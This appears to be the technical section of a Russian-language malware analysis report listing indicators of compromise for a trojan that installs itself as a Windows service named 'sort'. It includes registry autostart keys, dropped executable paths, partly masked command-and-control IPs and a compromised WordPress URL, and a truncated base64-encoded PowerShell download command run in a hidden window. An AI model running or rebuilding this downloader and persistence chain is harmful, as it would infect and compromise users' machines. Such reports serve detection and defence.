Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\sort] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\sort] 'ImagePath' = '"%WINDIR%\SysWOW64\mscories\sort.exe"'
- 'sort' "%WINDIR%\SysWOW64\mscories\sort.exe"
- 'sort' %WINDIR%\SysWOW64\mscories\sort.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -encod JABVAGgAeABxADQAbAB1AD0AKAAoACcAQwBzACcAKwAnAGQAaQBuACcAKQArACcAawAnACsAJwAwACcAKQA7ACYAKAAnAG4AJwArACcAZQAnACsAJwB3AC0AaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAVQBTAGUAUgBwAFIATwBmAEkATABFAFwAdQ...
- %HOMEPATH%\uofwsuv\lnxyn6_\mjlzifmu.exe
- %WINDIR%\syswow64\mscories\sort.exe
- %HOMEPATH%\uofwsuv\lnxyn6_\mjlzifmu.exe в %WINDIR%\syswow64\mscories\sort.exe
- '74.##9.172.26':80
- '13#.#09.36.254':8080
- http://rh####-building.com/wp-admin/Ey8qV0/
- http://13#.##9.36.254:8080/Ux0BHvYq2z/g0CyG20876zM9JF0G3/WNwY7oi0/wKZ7jTJu9Tf/OujQHhNtb7p/ via 13#.#09.36.254
- DNS ASK rh####-building.com
- '%HOMEPATH%\uofwsuv\lnxyn6_\mjlzifmu.exe'
- '%WINDIR%\syswow64\mscories\sort.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -encod JABVAGgAeABxADQAbAB1AD0AKAAoACcAQwBzACcAKwAnAGQAaQBuACcAKQArACcAawAnACsAJwAwACcAKQA7ACYAKAAnAG4AJwArACcAZQAnACsAJwB3AC0AaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAVQBTAGUAUgBwAFIATwBmAEkATABFAFwAdQ...' (со скрытым окном)